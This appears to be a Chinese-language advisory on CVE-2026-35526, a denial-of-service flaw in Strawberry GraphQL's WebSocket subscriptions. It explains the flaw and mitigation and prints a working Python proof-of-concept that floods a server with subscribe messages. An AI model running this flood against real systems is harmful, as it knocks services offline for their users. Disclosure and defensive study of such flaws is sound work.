IPBUF安全漏洞报告
English
CVE-2026-35526 CVSS 7.5 高危

CVE-2026-35526 Strawberry GraphQL WebSocket拒绝服务漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35526
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Strawberry GraphQL

相关标签

拒绝服务DoSStrawberry GraphQLWebSocket资源耗尽CVE-2026-35526

漏洞概述

Strawberry GraphQL在0.312.3版本前的WebSocket订阅处理逻辑中,未对单个连接的活跃订阅数量实施限制。未经认证的攻击者可通过发送大量订阅消息,导致服务器无限制分配任务和内存,最终引发服务拒绝或崩溃。

技术细节

该漏洞影响Strawberry GraphQL的WebSocket订阅处理器(包括graphql-transport-ws和graphql-ws协议)。当服务器接收到`subscribe`消息时,会无条件分配一个新的`asyncio.Task`和`async generator`(Operation对象)。由于缺乏对并发订阅数的上限控制,攻击者可利用单一WebSocket连接发送海量`subscribe`消息。这种攻击会导致内存呈线性增长,并使Python事件循环饱和,从而耗尽系统资源导致OOM(内存溢出)或服务不可用。

攻击链分析

STEP 1
建立连接
攻击者与目标Strawberry GraphQL服务器建立WebSocket连接。
STEP 2
发送初始化请求
发送connection_init消息以完成握手,准备发送订阅请求。
STEP 3
洪水攻击
利用单一连接循环发送大量带有唯一ID的subscribe消息,触发服务器创建大量asyncio.Task。
STEP 4
资源耗尽
服务器内存被线性消耗,事件循环被阻塞,最终导致OOM崩溃或服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def exploit(target_url): # Connect to the vulnerable WebSocket endpoint uri = f"{target_url}/graphql" async with websockets.connect(uri) as websocket: # Step 1: Send connection_init message await websocket.send(json.dumps({"type": "connection_init"})) # Wait for connection_ack (optional, depends on server config) response = await websocket.recv() print(f"Server response: {response}") # Step 2: Flood subscribe messages to exhaust memory payload = { "id": "1", "type": "subscribe", "payload": { "query": "subscription { test }" } } print("Starting DoS attack...") try: i = 0 while True: # Send unique subscribe message payload["id"] = str(i) await websocket.send(json.dumps(payload)) i += 1 if i % 100 == 0: print(f"Sent {i} subscription messages...") # No sleep to maximize flood impact except Exception as e: print(f"Attack stopped or connection failed: {e}") if __name__ == "__main__": # Replace with actual target URL target = "ws://localhost:8000" asyncio.run(exploit(target))

影响范围

Strawberry GraphQL < 0.312.3

防御指南

临时缓解措施
如无法立即升级,建议在网络边界处限制单个IP的WebSocket连接频率及消息长度,并在应用层面通过中间件限制单个连接允许的最大并发订阅数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表